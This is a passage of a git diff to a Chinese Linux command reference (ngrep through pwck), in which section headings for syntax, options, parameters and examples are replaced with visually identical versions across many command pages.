dev> <-A num> @@ -39,7 +39,7 @@ ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> <-P char> <-F file> ``` -### 选项 +### 选项 ```shell -e # 显示空数据包 @@ -70,7 +70,7 @@ ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> -L # 查询网卡接口 ``` -### 实例 +### 实例 捕捉cloudian：18080端口的request和response，`-W byline`用来解析包中的换行符，否则包里的所有数据都是连续的，可读性差。`-d lo`是监听本地网卡： diff --git a/command/nice.md b/command/nice.md index 96a452ae71f..c650e7bd2b6 100644 --- a/command/nice.md +++ b/command/nice.md @@ -7,23 +7,23 @@ nice **nice命令** 用于以指定的进程调度优先级启动其他的程序。 -### 语法 +### 语法 ```shell nice(选项)(参数) ``` -### 选项 +### 选项 ```shell -n：指定进程的优先级（整数）。 ``` -### 参数 +### 参数 指令及选项：需要运行的指令及其他选项。 -### 实例 +### 实例 新建一个进程并设置优先级，将当前目录下的documents目录打包，但不希望tar占用太多CPU： diff --git a/command/nisdomainname.md b/command/nisdomainname.md index a02bed3390d..a9878c58045 100644 --- a/command/nisdomainname.md +++ b/command/nisdomainname.md @@ -7,13 +7,13 @@ nisdomainname **nisdomainname命令** 用于显示主机NIS的域名。 -### 语法 +### 语法 ```shell nisdomainname(选项) ``` -### 选项 +### 选项 ```shell -v：详细信息模式。 diff --git a/command/nl.md b/command/nl.md index 327b402afa3..dc63744afde 100644 --- a/command/nl.md +++ b/command/nl.md @@ -7,13 +7,13 @@ nl **nl命令** 读取 file 参数（缺省情况下标准输入），计算输入中的行号，将计算过的行号写入标准输出。在输出中，nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节（可以有空节）。除非使用`-p`选项，nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志（例如，头和页脚行可以被计算然而文本行不能）。其默认的结果与`cat -n`有点不太一样， nl 可以将行号做比较多的显示设计，包括位数与是否自动补齐0等等的功能。 -### 语法 +### 语法 ```shell nl (选项) (参数) ``` -### 选项 +### 选项 ```shell -b ：指定行号指定的方式，主要有两种： @@ -29,7 +29,7 @@ nl (选项) (参数) -p ：在逻辑定界符处不重新开始计算。 ``` -### 实例 +### 实例 **用 nl 列出 log2015.log 的内容** ： diff --git a/command/nm.md b/command/nm.md index 54284e43ae2..bcf2839ba75 100644 --- a/command/nm.md +++ b/command/nm.md @@ -7,13 +7,13 @@ nm **nm命令** 被用于显示二进制目标文件的符号表。 -### 语法 +### 语法 ```shell nm(选项)(参数) ``` -### 选项 +### 选项 ```shell -A：每个符号前显示文件名； @@ -22,7 +22,7 @@ nm(选项)(参数) -r：反序显示符号表。 ``` -### 参数 +### 参数 目标文件：二进制目标文件，通常是库文件和可执行文件。 diff --git a/command/nmap.md b/command/nmap.md index 3a6d193e218..82810f575e0 100644 --- a/command/nmap.md +++ b/command/nmap.md @@ -7,13 +7,13 @@ nmap **nmap命令** 是一款开放源代码的网络探测和安全审核工具，它的设计目标是快速地扫描大型网络。 -### 语法 +### 语法 ```shell nmap(选项)(参数) ``` -### 选项 +### 选项 ```shell -O：激活操作探测； @@ -42,11 +42,11 @@ nmap(选项)(参数) --send-eth/--send-ip 使用原始以太网发送/构造指定IP发送 ``` -### 参数 +### 参数 ip地址：指定待扫描报文中的TCP地址。 -### 实例 +### 实例 **安装nmap** diff --git a/command/nmcli.md b/command/nmcli.md index 9515ac53ce3..b80b8d174a9 100644 --- a/command/nmcli.md +++ b/command/nmcli.md @@ -7,13 +7,13 @@ nmcli **nmcli命令** 是 NetworkManager client 网络管理客户端。 -### 语法 +### 语法 ```shell nmcli [OPTIONS] OBJECT { COMMAND | help } ``` -### 选项 +### 选项 ```shell OPTIONS @@ -37,7 +37,7 @@ OBJECT a[gent] NetworkManager秘密代理或polkit代理 ``` -### 实例 +### 实例 ```shell nmcli connection show # 查看当前连接状态 diff --git a/command/nohup.md b/command/nohup.md index e82bcebe3bb..61c22254a04 100644 --- a/command/nohup.md +++ b/command/nohup.md @@ -9,22 +9,22 @@ nohup 无论是否将 nohup 命令的输出重定向到终端，输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写，输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加，那么 command 参数指定的命令不可调用。如果标准错误是一个终端，那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 -### 语法 +### 语法 nohup(选项)(参数) -### 选项 +### 选项 ```shell --help：在线帮助； --version：显示版本信息。 ``` -### 参数 +### 参数 程序及选项：要运行的程序及选项。 -### 实例 +### 实例 使用nohup命令提交作业，如果使用nohup命令提交作业，那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中，除非另外指定了输出文件： diff --git a/command/nologin.md b/command/nologin.md index 47878637f90..2e3e44d228e 100644 --- a/command/nologin.md +++ b/command/nologin.md @@ -7,13 +7,13 @@ nologin **nologin命令** 可以实现礼貌地拒绝用户登录系统，同时给出信息。如果尝试以这类用户登录，就在log里添加记录，然后在终端输出This account is currently not available信息，就是这样。一般设置这样的帐号是给启动服务的账号所用的，这只是让服务启动起来，但是不能登录系统。 -### 语法 +### 语法 ```shell nologin ``` -### 实例 +### 实例 Linux禁止用户登录： diff --git a/command/nslookup.md b/command/nslookup.md index d2f4dddb033..b3790311869 100644 --- a/command/nslookup.md +++ b/command/nslookup.md @@ -11,23 +11,23 @@ nslookup4有两种工作模式，即“交互模式”和“非交互模式” 进入交互模式，直接输入nslookup命令，不加任何参数，则直接进入交互模式，此时nslookup会连接到默认的域名服务器（即`/etc/resolv.conf`的第一个dns地址）。或者输入`nslookup -nameserver/ip`。进入非交互模式，就直接输入`nslookup 域名`就可以了。 -### 语法 +### 语法 ```shell nslookup(选项)(参数) ``` -### 选项 +### 选项 ```shell -sil：不显示任何警告信息。 ``` -### 参数 +### 参数 域名：指定要查询域名。 -### 实例 +### 实例 ```shell [root@localhost ~]# nslookup www.jsdig.com diff --git a/command/ntpdate.md b/command/ntpdate.md index bbcdcf87d3f..62f6d354e50 100644 --- a/command/ntpdate.md +++ b/command/ntpdate.md @@ -18,13 +18,13 @@ ntpdate 你必须有 root 权限才能在主机上运行这个命令。 -### 语法 +### 语法 ```shell ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server... ``` -### 选项 +### 选项 diff --git a/command/ntsysv.md b/command/ntsysv.md index 33c12fda198..548fb73a06d 100644 --- a/command/ntsysv.md +++ b/command/ntsysv.md @@ -7,20 +7,20 @@ ntsysv **ntsysv命令** 提供了一个基于文本界面的菜单操作方式，集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版，CentOS各个版本，都自带这个工具。它具有互动式操作界面，您可以轻易地利用方向键和空格键等，开启，关闭操作系统在每个执行等级中，所要执行的系统服务。 -### 语法 +### 语法 ```shell ntsysv(选项) ``` -### 选项 +### 选项 ```shell --leve：指定运行等级； --back：在互动式界面里，显示Back钮，而非cancel钮。 ``` -### 实例 +### 实例 输入ntsysv命令后，出现一个交互式的管理菜单，如下： diff --git a/command/objdump.md b/command/objdump.md index fa737965d7f..2583ad71653 100644 --- a/command/objdump.md +++ b/command/objdump.md @@ -7,7 +7,7 @@ objdump **objdump命令** 是用查看目标文件或者可执行的目标文件的构成的gcc工具。 -### 选项 +### 选项 ```shell -a --archive-headers @@ -122,7 +122,7 @@ objdump -b oasys -m vax -h fu.o @file 可以将选项集中到一个文件中，然后使用这个@file选项载入。 ``` -### 实例 +### 实例 首先，在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下：  diff --git a/command/od.md b/command/od.md index e88d51fc581..04d202769cf 100644 --- a/command/od.md +++ b/command/od.md @@ -9,13 +9,13 @@ od 常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如，程序可能输出大量的数据记录，每个数据是一个单精度浮点数。这些数据记录存放在一个文件中，如果想查看下这个数据，这时候od命令就派上用场了。在我看来，od命令主要用来格式化输出文件数据，即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码，od命令都能按照需求输出它们的值。 -### 语法 +### 语法 ```shell od(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：此参数的效果和同时指定“-ta”参数相同； @@ -39,11 +39,11 @@ od(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 文件：指定要显示的文件。 -### 实例 +### 实例 ```shell [linuxde@localhost ~]$ echo abcdef g > tmp diff --git a/command/parted.md b/command/parted.md index 98c02b1e773..f6ec7c60378 100644 --- a/command/parted.md +++ b/command/parted.md @@ -7,13 +7,13 @@ parted **parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具，与fdisk不同，它支持调整分区的大小。作为一种设计用于Linux的工具，它没有构建成处理与fdisk关联的多种分区类型，但是，它可以处理最常见的分区格式，包括：ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。 -### 语法 +### 语法 ```shellshell parted(选项)(参数) ``` -### 选项 +### 选项 ```shellshell -h：显示帮助信息； @@ -22,12 +22,12 @@ parted(选项)(参数) -v：显示版本号。 ``` -### 参数 +### 参数 * 设备：指定要分区的硬盘所对应的设备文件； * 命令：要执行的parted命令。 -### 实例 +### 实例 从串行技术出现以来，越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列；特别是MD1000/MD3000，很轻易就突破2T的LUN，故在此给大家一些指引。 diff --git a/command/partprobe.md b/command/partprobe.md index d9d17f32a7b..10ae857855e 100644 --- a/command/partprobe.md +++ b/command/partprobe.md @@ -7,13 +7,13 @@ partprobe **partprobe命令** 用于重读分区表，当出现删除文件后，出现仍然占用空间。可以partprobe在不重启的情况下重读分区。 -### 语法 +### 语法 ```shell partprobe(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：不更新内核； @@ -22,11 +22,11 @@ partprobe(选项)(参数) -v：显示版本信息。 ``` -### 参数 +### 参数 设备：指定需要确认分区表改变的硬盘对应的设备文件。 -### 实例 +### 实例 使用partprobe不重启系统添加新的磁盘分区，主机自带硬盘超过300GB，目前只划分使用了3个主分区，不到70GB，如下： diff --git a/command/passwd.md b/command/passwd.md index a9a71edd3af..a41ac8184bf 100644 --- a/command/passwd.md +++ b/command/passwd.md @@ -7,13 +7,13 @@ passwd **passwd命令** 用于设置用户的认证信息，包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称，一般用户只能变更自己的密码。 -### 语法 +### 语法 ```shell passwd(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：删除密码，仅有系统管理者才能使用； @@ -24,11 +24,11 @@ passwd(选项)(参数) -u：解开已上锁的帐号。 ``` -### 参数 +### 参数 用户名：需要设置密码的用户名。 -### 知识扩展 +### 知识扩展 与用户、组账户信息相关的文件 @@ -73,7 +73,7 @@ $!$　　# 被加密的口令 *　　# 过期天数 ``` -### 实例 +### 实例 如果是普通用户执行passwd只能修改自己的密码。如果新建用户后，要为新用户创建密码，则用passwd用户名，注意要以root用户的权限来创建。 diff --git a/command/paste.md b/command/paste.md index 1c9ef72600a..59bdc2caac1 100644 --- a/command/paste.md +++ b/command/paste.md @@ -7,20 +7,20 @@ paste **paste命令** 用于将多个文件按照列队列进行合并。 -### 语法 +### 语法 ```shell paste(选项)(参数) ``` -### 选项 +### 选项 ```shell -d<间隔字符>或--delimiters=<间隔字符>：用指定的间隔字符取代跳格字符； -s或——serial串列进行而非平行处理。 ``` -### 参数 +### 参数 文件列表：指定需要合并的文件列表。 diff --git a/command/patch.md b/command/patch.md index 64190db69e5..39d575bf36c 100644 --- a/command/patch.md +++ b/command/patch.md @@ -7,13 +7,13 @@ patch **patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式，修改，更新原始文件。如果一次仅修改一个文件，可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件，这也是Linux系统核心的升级方法之一。 -### 语法 +### 语法 ```shell patch(选项)(参数) ``` -### 选项 +### 选项 ```shell -b或--backup：备份每一个原始文件； @@ -50,7 +50,7 @@ patch(选项)(参数) --verbose：详细显示指令的执行过程。 ``` -### 参数 +### 参数 * 原文件：指定需要打补丁的原始文件； * 补丁文件：指定补丁文件。 diff --git a/command/pathchk.md b/command/pathchk.md index 79a58c0f78b..c9d9b0ce528 100644 --- a/command/pathchk.md +++ b/command/pathchk.md @@ -7,13 +7,13 @@ pathchk **pathchk命令** 用来检查文件中不可移植的部分。 -### 语法 +### 语法 ```shell pathchk(选项)(参数) ``` -### 选项 +### 选项 ```shell -p：检查大多数的POSIX系统； @@ -23,7 +23,7 @@ pathchk(选项)(参数) --wersion：显示版本号。 ``` -### 参数 +### 参数 * 文件：带路径信息的文件； * 后缀：可选参数，指定要去除的文件后缀字符串。 diff --git a/command/perl.md b/command/perl.md index 056a82039d4..f062c0c3952 100644 --- a/command/perl.md +++ b/command/perl.md @@ -7,13 +7,13 @@ perl语言解释器 **perl命令** 是perl语言解释器，负责解释执行perl语言程序。 -### 语法 +### 语法 ```shell perl(选项)(参数) ``` -### 选项 +### 选项 ```shell -w：输出有用的警告信息； @@ -22,7 +22,7 @@ perl(选项)(参数) -d：在调试下运行脚本程序。 ``` -### 参数 +### 参数 文件：要运行的perl脚本程序。 diff --git a/command/pfctl.md b/command/pfctl.md index 980ba94a60e..44c721ed1d1 100644 --- a/command/pfctl.md +++ b/command/pfctl.md @@ -9,7 +9,7 @@ PF防火墙的配置命令 PF防火墙的功能很多，本站只列举一些基本配置。 -### 激活 +### 激活 要激活pf并且使它在启动时调用配置文件，编辑`/etc/rc.conf`文件，修改配置pf的一行： @@ -28,7 +28,7 @@ pfctl -d 注意这仅仅是启动和关闭PF，实际它不会载入规则集，规则集要么在系统启动时载入，要在PF启动后通过命令单独载入。 -### 配置 +### 配置 系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件，在系统调用rc脚本文件时，它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说，其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序，PF提供了足够的灵活性。 @@ -46,7 +46,7 @@ pfctl -d 空行会被忽略，以#开头的行被认为是注释。 -### 控制 +### 控制 引导之后，PF可以通过pfctl程序进行操作，以下是一些例子： diff --git a/command/pgrep.md b/command/pgrep.md index a6e3fc7845e..d60789d7df3 100644 --- a/command/pgrep.md +++ b/command/pgrep.md @@ -7,13 +7,13 @@ pgrep **pgrep命令** 以名称为依据从运行进程队列中查找进程，并显示查找到的进程id。每一个进程ID以一个十进制数表示，通过一个分割字符串和下一个ID分开，默认的分割字符串是一个新行。对于每个属性选项，用户可以在命令行上指定一个以逗号分割的可能值的集合。 -### 语法 +### 语法 ```shell pgrep(选项)(参数) ``` -### 选项 +### 选项 ```shell -o：仅显示找到的最小（起始）进程号； @@ -25,11 +25,11 @@ pgrep(选项)(参数) -u：指定进程的有效用户ID。 ``` -### 参数 +### 参数 进程名称：指定要查找的进程名称，同时也支持类似grep指令中的匹配模式。 -### 实例 +### 实例 ```shell pgrep -lo httpd diff --git a/command/php.md b/command/php.md index 8b33d1c9288..e096d44e15d 100644 --- a/command/php.md +++ b/command/php.md @@ -7,20 +7,20 @@ PHP语言的命令行接口 **php命令** 是流行的Web开发语言PHP的命令行接口，可以使用PHP语言开发基于命令行的系统管理脚本程序。 -### 语法 +### 语法 ```shell php(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：进入交互模式； -c：指定“php.ini”的搜索路径。 ``` -### 参数 +### 参数 文件：要执行的php脚本。 diff --git a/command/pico.md b/command/pico.md index b2c7b4a9759..4bc4677d115 100644 --- a/command/pico.md +++ b/command/pico.md @@ -22,13 +22,13 @@ Ctrl+J：段落重排； Ctrl+X：退出，当文件内容发生改变时，提供是否保存修改。 ``` -### 语法 +### 语法 ```shell pico(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：开启置换的功能； @@ -53,7 +53,7 @@ pico(选项)(参数) +<列表编号>：执行pico指令进入编辑模式时，从指定的列数开始编辑。 ``` -### 参数 +### 参数 文件：指定要编辑的文件。 diff --git a/command/pidof.md b/command/pidof.md index 4f5b4094285..f907f796075 100644 --- a/command/pidof.md +++ b/command/pidof.md @@ -7,13 +7,13 @@ pidof **pidof命令** 用于查找指定名称的进程的进程号id号。 -### 语法 +### 语法 ```shell pidof(选项)(参数) ``` -### 选项 +### 选项 ```shell -s：仅返回一个进程号； @@ -22,11 +22,11 @@ pidof(选项)(参数) -o：指定不显示的进程ID。 ``` -### 参数 +### 参数 进程名称：指定要查找的进程名称。 -### 实例 +### 实例 ```shell pidof nginx diff --git a/command/ping.md b/command/ping.md index 1ad594954e5..d9609d3c860 100644 --- a/command/ping.md +++ b/command/ping.md @@ -7,13 +7,13 @@ ping **ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议，发出要求回应的信息，若远端主机的网络功能没有问题，就会回应该信息，因而得知该主机运作正常。 -### 语法 +### 语法 ```shell ping(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：使用Socket的SO_DEBUG功能； @@ -32,11 +32,11 @@ ping(选项)(参数) -v：详细显示指令的执行过程。 ``` -### 参数 +### 参数 目的主机：指定发送ICMP报文的目的主机。 -### 实例 +### 实例 ```shell [root@AY1307311912260196fcZ ~]# ping www.jsdig.com diff --git a/command/pkill.md b/command/pkill.md index ff58f2066a5..c0fc63e34b4 100644 --- a/command/pkill.md +++ b/command/pkill.md @@ -7,13 +7,13 @@ pkill **pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多，也是直接杀死运行中的程序；如果您想杀掉单个进程，请用kill来杀掉。 -### 语法 +### 语法 ```shell pkill(选项)(参数) ``` -### 选项 +### 选项 ```shell -o：仅向找到的最小（起始）进程号发送信号； @@ -23,11 +23,11 @@ pkill(选项)(参数) -t：指定开启进程的终端。 ``` -### 参数 +### 参数 进程名称：指定要查找的进程名称，同时也支持类似grep指令中的匹配模式。 -### 实例 +### 实例 ```shell pgrep -l gaim diff --git a/command/pmap.md b/command/pmap.md index 19940041791..a63d04643d3 100644 --- a/command/pmap.md +++ b/command/pmap.md @@ -7,13 +7,13 @@ pmap **pmap命令** 用于报告进程的内存映射关系，是Linux调试及运维一个很好的工具。 -### 语法 +### 语法 ```shell pmap(选项)(参数) ``` -### 选项 +### 选项 ```shell -x：显示扩展格式； @@ -22,11 +22,11 @@ pmap(选项)(参数) -V：显示指定版本。 ``` -### 参数 +### 参数 进程号：指定需要显示内存映射关系的进程号，可以是多个进程号。 -### 实例 +### 实例 ```shell pidof nginx diff --git a/command/popd.md b/command/popd.md index 5cb4b4157aa..5df2b96b399 100644 --- a/command/popd.md +++ b/command/popd.md @@ -7,13 +7,13 @@ popd **popd命令** 用于删除目录栈中的记录；如果popd命令不加任何参数，则会先删除目录栈最上面的记录，然后切换到删除过后的目录栈中的最上面的目录。 -### 语法 +### 语法 ```shell pushd(选项)(参数) ``` -### 选项 +### 选项 ```shell +N：将第N个目录删除（从左边数起，数字从0开始）； @@ -21,7 +21,7 @@ pushd(选项)(参数) -n：将目录出栈时，不切换目录。 ``` -### 实例 +### 实例 ```shell root@Mylinux:/tmp/dir4# popd（相当于popd +0） diff --git a/command/poweroff.md b/command/poweroff.md index 93e439621f8..e19afb9c145 100644 --- a/command/poweroff.md +++ b/command/poweroff.md @@ -7,13 +7,13 @@ poweroff **grename命令** 可以重命名卷组的名称。 -### 语法 +### 语法 ```shell poweroff [选项] ``` -### 选项 +### 选项 ```shell -n 关闭之前不同步 diff --git a/command/ppp-off.md b/command/ppp-off.md index 92c858890c7..19ddafa12fe 100644 --- a/command/ppp-off.md +++ b/command/ppp-off.md @@ -7,7 +7,7 @@ ppp-off 这是Slackware发行版内附的程序，让用户切断PPP的网络连线。 -### 语法 +### 语法 ```shell ppp-off diff --git a/command/pr.md b/command/pr.md index 7efc0885264..1f182745237 100644 --- a/command/pr.md +++ b/command/pr.md @@ -7,20 +7,20 @@ pr **pr命令** 用来将文本文件转换成适合打印的格式，它可以把较大的文件分割成多个页面进行打印，并为每个页面添加标题。 -### 语法 +### 语法 ```shell pr(选项)(参数) ``` -### 选项 +### 选项 ```shell -h<标题>：为页指定标题； -l<行数>：指定每页的行数。 ``` -### 参数 +### 参数 文件：需要转换格式的文件。 diff --git a/command/printf.md b/command/printf.md index d487ebd6593..0861884d09d 100644 --- a/command/printf.md +++ b/command/printf.md @@ -7,7 +7,7 @@ printf **printf命令** 格式化并输出结果到标准输出。 -### 语法 +### 语法 ```shell printf(选项)(参数) @@ -15,7 +15,7 @@ printf(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 * 输出格式：指定数据输出时的格式； * 输出字符串：指定要输出的数据。 @@ -49,7 +49,7 @@ printf(选项)(参数) * \ddd 表示1到3位数八进制值的字符，仅在格式字符串中有效 * \0ddd 表示1到3位的八进制值字符 -### 实例 +### 实例 ```shell printf "hello world" diff --git a/command/protoize.md b/command/protoize.md index 39d49360f4a..9517640eccc 100644 --- a/command/protoize.md +++ b/command/protoize.md @@ -7,20 +7,20 @@ GNU-C代码转换为ANSI-C代码 **protoize命令** 属于gcc套件，用于为C语言源代码文件添加函数原型，将GNU-C代码转换为ANSI-C代码。 -### 语法 +### 语法 ```shell protoize(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：设置需要转换代码的目录； -x：转换代码时排除的文件。 ``` -### 参数 +### 参数 文件：需要转换代码的C语言源文件。 diff --git a/command/pssh.md b/command/pssh.md index 78aacc5ae5f..1f36466b4ec 100644 --- a/command/pssh.md +++ b/command/pssh.md @@ -7,7 +7,7 @@ pssh **pssh命令** 是一个python编写可以在多台服务器上执行命令的工具，同时支持拷贝文件，是同类工具中很出色的，类似pdsh，个人认为相对pdsh更为简便，使用必须在各个服务器上配置好密钥认证访问。 -### 安装pssh +### 安装pssh 在CentOS系统环境下，介绍yum的安装和源码安装的方式： @@ -26,7 +26,7 @@ cd pssh-2.3.1/ python setup.py install ``` -### 选项 +### 选项 ```shell --version：查看版本 @@ -47,7 +47,7 @@ python setup.py install -P：打印出服务器返回信息 ``` -### 实例 +### 实例 获取每台服务器的uptime： diff --git a/command/pstack.md b/command/pstack.md index 29157ebd7b9..b530616baa6 100644 --- a/command/pstack.md +++ b/command/pstack.md @@ -9,7 +9,7 @@ pstack 命令软件包下载地址：https://packages.debian.org/sid/pstack -### 实例 +### 实例 pstree以树结构显示进程 diff --git a/command/pstree.md b/command/pstree.md index ce827fa3a18..96da893bca7 100644 --- a/command/pstree.md +++ b/command/pstree.md @@ -7,13 +7,13 @@ pstree **pstree命令** 以树状图的方式展现进程之间的派生关系，显示效果比较直观。 -### 语法 +### 语法 ```shell pstree(选项) ``` -### 选项 +### 选项 ```shell -a：显示每个程序的完整指令，包含路径，参数或是常驻服务的标示； @@ -29,7 +29,7 @@ pstree(选项) -V：显示版本信息。 ``` -### 实例 +### 实例 显示当前所有进程的进程号和进程id diff --git a/command/pushd.md b/command/pushd.md index 155f24d155d..5f0f436e5c7 100644 --- a/command/pushd.md +++ b/command/pushd.md @@ -7,13 +7,13 @@ pushd **pushd命令** 是将目录加入命令堆叠中。如果指令没有指定目录名称，则会将当前的工作目录置入目录堆叠的最顶端。置入目录如果没有指定堆叠的位置，也会置入目录堆叠的最顶端，同时工作目录会自动切换到目录堆叠最顶端的目录去。 -### 语法 +### 语法 ```shell pushd(选项)(参数) ``` -### 选项 +### 选项 ```shell -n：只加入目录到堆叠中，不进行cd操作； @@ -21,11 +21,11 @@ pushd(选项)(参数) -n：删除从右到左的第n个目录，数字从0开始； ``` -### 参数 +### 参数 目录：需要压入堆栈的目录。 -### 实例 +### 实例 ```shell root@Mylinux:/tmp/dir4# pushd /tmp/dir3 diff --git a/command/pv.md b/command/pv.md index 8d0243fb90f..ca25df2ca5f 100644 --- a/command/pv.md +++ b/command/pv.md @@ -17,14 +17,14 @@ sudo apt-get install pv yum install pv ``` -### 语法 +### 语法 ```shell pv(选项)(参数) pv [OPTION] [FILE]... ``` -### 选项 +### 选项 ```shell -p, --progress show progress bar @@ -69,7 +69,7 @@ pv [OPTION] [FILE]... ``` -### 实例 +### 实例 我们（在 linux 上使用命令行的用户）的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务，你会什么情况都不清楚，直到整个复制过程结束或者出错。 diff --git a/command/pvchange.md b/command/pvchange.md index 986ab22b3ab..b60acb84cc3 100644 --- a/command/pvchange.md +++ b/command/pvchange.md @@ -7,24 +7,24 @@ pvchange **pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障，可以使用pvchange命令禁止分配物理卷上的PE。 -### 语法 +### 语法 ```shell pvchange(选项)(参数) ``` -### 选项 +### 选项 ```shell -u：生成新的UUID； -x：是否允许分配PE。 ``` -### 参数 +### 参数 物理卷：指定要修改属性的物理卷所对应的设备文件。 -### 实例 +### 实例 使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令： diff --git a/command/pvck.md b/command/pvck.md index bbe22e34c89..9f51a0e3209 100644 --- a/command/pvck.md +++ b/command/pvck.md @@ -7,13 +7,13 @@ pvck **pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下，物理卷中的前4个扇区保存着LVM卷标，可以使用`--labelsector`选项指定其他的位置（例如：数据恢复时）。 -### 语法 +### 语法 ```shell pvck(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：调试模式； @@ -21,11 +21,11 @@ pvck(选项)(参数) --labelsector：指定LVE卷标所在扇区。 ``` -### 参数 +### 参数 物理卷：指定要检查的物理卷对应的设备文件。 -### 实例 +### 实例 使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令： diff --git a/command/pvcreate.md b/command/pvcreate.md index 69e26c23832..db75a969351 100644 --- a/command/pvcreate.md +++ b/command/pvcreate.md @@ -7,13 +7,13 @@ pvcreate **pvcreate命令** 用于将物理硬盘分区初始化为物理卷，以便LVM使用。 -### 语法 +### 语法 ```shell pvcreate(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：强制创建物理卷，不需要用户确认； @@ -22,11 +22,11 @@ pvcreate(选项)(参数) -Z：是否利用前4个扇区。 ``` -### 参数 +### 参数 物理卷：指定要创建的物理卷对应的设备文件名。 -### 实例 +### 实例 查看磁盘信息： diff --git a/command/pvdisplay.md b/command/pvdisplay.md index 4d5dacd1084..f4cc063907f 100644 --- a/command/pvdisplay.md +++ b/command/pvdisplay.md @@ -7,24 +7,24 @@ pvdisplay **pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括：物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。 -### 语法 +### 语法 ```shell pvdisplay(选项)(参数) ``` -### 选项 +### 选项 ```shell -s：以短格式输出； -m：显示PE到LE的映射。 ``` -### 参数 +### 参数 物理卷：要显示的物理卷对应的设备文件名。 -### 实例 +### 实例 使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令： diff --git a/command/pvremove.md b/command/pvremove.md index 5a6c37676d3..115808388d9 100644 --- a/command/pvremove.md +++ b/command/pvremove.md @@ -7,13 +7,13 @@ pvremove **pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时，它将LVM分区上的物理卷信息删除，使其不再被视为一个物理卷。 -### 语法 +### 语法 ```shell pvremove(选项)(参数) ``` -### 选项 +### 选项 ```shell -d # 调试模式； @@ -21,11 +21,11 @@ pvremove(选项)(参数) -y # 对提问回答“yes”。 ``` -### 参数 +### 参数 物理卷：指定要删除的物理卷对应的设备文件名。 -### 实例 +### 实例 使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令： diff --git a/command/pvs.md b/command/pvs.md index 6c9b75362ff..cc711b3bbac 100644 --- a/command/pvs.md +++ b/command/pvs.md @@ -7,24 +7,24 @@ pvs **pvs命令** 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息，如果要得到更加详细的信息可以使用pvdisplay命令。 -### 语法 +### 语法 ```shell pvs(选项)(参数) ``` -### 选项 +### 选项 ```shell --noheadings：不输出标题头； --nosuffix：不输出空间大小的单位。 ``` -### 参数 +### 参数 物理卷：要显示报表的物理卷列表。 -### 实例 +### 实例 使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令： diff --git a/command/pvscan.md b/command/pvscan.md index 2e7ea33c385..fd99dcb2d69 100644 --- a/command/pvscan.md +++ b/command/pvscan.md @@ -7,13 +7,13 @@ pvscan **pvscan命令** 会扫描系统中连接的所有硬盘，列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷，这些物理卷是未被使用的。 -### 语法 +### 语法 ```shell pvscan(选项) ``` -### 选项 +### 选项 ```shell -d：调试模式； @@ -23,7 +23,7 @@ pvscan(选项) -u：显示UUID。 ``` -### 实例 +### 实例 使用pvscan命令扫描当前系统中所有硬盘的物理卷，在命令行中输入下面的命令： diff --git a/command/pwck.md b/command/pwck.md index 28da587f123..84338537a7f 100644 --- a/command/pwck.md +++ b/command/pwck.md @@ -7,13 +7,13 @@ pwck **pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。 -### 语法 +### 语法 ```shell pwck(选项)(参数) ``` -### 选项 +### 选项 ```shell -q：仅报告错误信息； @@ -21,12 +21,12 @@ pwck(选项)(参数) -r：只读方式运行指令。 ``` 